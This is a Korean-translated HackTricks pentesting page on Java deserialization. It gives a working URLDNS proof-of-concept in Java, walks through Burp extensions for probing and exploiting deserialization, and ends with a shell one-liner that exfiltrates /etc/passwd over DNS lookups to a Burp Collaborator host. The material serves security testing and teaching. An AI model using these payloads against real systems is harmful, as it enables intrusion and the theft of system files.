Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
DNS 요청 및 역직렬화
클래스 java.net.URL
는 Serializable
을 구현합니다. 이는 이 클래스가 직렬화될 수 있음을 의미합니다.
public final class URL implements java.io.Serializable {
이 클래스는 호기심 많은 동작을 가지고 있습니다. 문서에서: “두 호스트는 두 호스트 이름이 동일한 IP 주소로 확인될 수 있는 경우 동등한 것으로 간주됩니다.”
따라서, URL 객체가 equals
또는 **hashCode
**의 어떤 함수를 호출할 때마다 IP 주소를 얻기 위한 DNS 요청이 전송됩니다.
URL 객체에서 hashCode
함수를 호출하는 것은 상당히 쉽습니다. 이 객체를 역직렬화될 HashMap
에 삽입하기만 하면 됩니다. 이는 HashMap
의 readObject
함수의 끝에서 이 코드가 실행되기 때문입니다:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
모든 값에 대해 HashMap
내부의 putVal
을 실행할 것입니다. 그러나 더 중요한 것은 모든 값에 대해 hash
를 호출하는 것입니다. 이것은 hash
함수의 코드입니다:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
관찰할 수 있듯이, 역직렬화할 때 **HashMap
**의 함수 hash
는 모든 객체에 대해 실행됩니다 그리고 hash
실행 중에 객체의 .hashCode()
가 실행됩니다. 따라서 URL 객체를 포함하는 **HashMap
**을 역직렬화하면, URL 객체는 .hashCode()
를 실행합니다.
이제 URLObject.hashCode()
의 코드를 살펴보겠습니다:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
보시다시피, URLObject
가 .hashCode()
를 실행할 때 hashCode(this)
가 호출됩니다. 이 함수의 코드를 계속해서 볼 수 있습니다:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
getHostAddress
가 도메인에 대해 실행되어 DNS 쿼리가 시작되는 것을 볼 수 있습니다.
따라서 이 클래스는 역직렬화가 가능하다는 것을 증명하기 위해 DNS 쿼리를 시작하거나, 심지어 정보를 유출하기 위해 악용될 수 있습니다(명령 실행의 출력을 서브도메인으로 추가할 수 있습니다).
URLDNS 페이로드 코드 예제
여기에서 ysoserial의 URDNS 페이로드 코드를 찾을 수 있습니다. 그러나 코딩을 이해하기 쉽게 하기 위해 ysoserial의 것을 기반으로 나만의 PoC를 만들었습니다:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
추가 정보
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- 원래 아이디어에서 commons collections 페이로드는 DNS 쿼리를 수행하도록 변경되었으며, 이는 제안된 방법보다 신뢰성이 떨어졌지만, 이 게시물이 있습니다: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
GadgetProbe를 Burp Suite App Store (Extender)에서 다운로드할 수 있습니다.
GadgetProbe는 서버의 Java 클래스에 일부 Java 클래스가 존재하는지 확인하여 취약한지 알 수 있도록 합니다.
작동 방식
GadgetProbe는 이전 섹션의 DNS 페이로드를 사용하지만 DNS 쿼리를 실행하기 전에 임의의 클래스를 역직렬화하려고 시도합니다. 임의의 클래스가 존재하면, DNS 쿼리가 전송되고 GadgetProbe는 이 클래스가 존재함을 기록합니다. DNS 요청이 결코 전송되지 않으면, 이는 임의의 클래스가 성공적으로 역직렬화되지 않았음을 의미하므로, 클래스가 존재하지 않거나 직렬화할 수 없거나/악용할 수 없음을 나타냅니다.
GitHub 내에서, GadgetProbe에는 테스트할 Java 클래스가 포함된 단어 목록이 있습니다.
추가 정보
Java 역직렬화 스캐너
이 스캐너는 Burp App Store (Extender)에서 다운로드할 수 있습니다.
확장은 수동 및 능동 기능을 가지고 있습니다.
수동
기본적으로 모든 요청과 응답을 수동으로 확인하여 Java 직렬화 마법 바이트를 찾고, 발견된 경우 취약성 경고를 표시합니다:
능동
수동 테스트
요청을 선택하고 마우스 오른쪽 버튼을 클릭한 후 Send request to DS - Manual Testing
을 선택할 수 있습니다.
그런 다음, Deserialization Scanner Tab --> _Manual testing tab_에서 삽입 지점을 선택하고 테스트를 시작합니다 (사용된 인코딩에 따라 적절한 공격을 선택).
이것이 "수동 테스트"라고 불리지만, 상당히 자동화되어 있습니다. 역직렬화가 어떤 ysoserial 페이로드에 취약한지 자동으로 확인하고, 웹 서버에 존재하는 라이브러리를 검사하여 취약한 라이브러리를 강조 표시합니다. 취약한 라이브러리를 확인하기 위해 Javas Sleeps, CPU 소비를 통한 슬립, 또는 이전에 언급된 DNS를 사용할 수 있습니다.
악용
취약한 라이브러리를 식별한 후, 요청을 _Exploiting Tab_으로 보낼 수 있습니다.
이 탭에서 주입 지점을 다시 선택하고, 페이로드를 생성할 취약한 라이브러리와 명령어를 작성해야 합니다. 그런 다음, 적절한 공격 버튼을 누릅니다.
Java 역직렬화 DNS 유출 정보
페이로드가 다음과 같은 작업을 수행하도록 만드세요:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
추가 정보
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.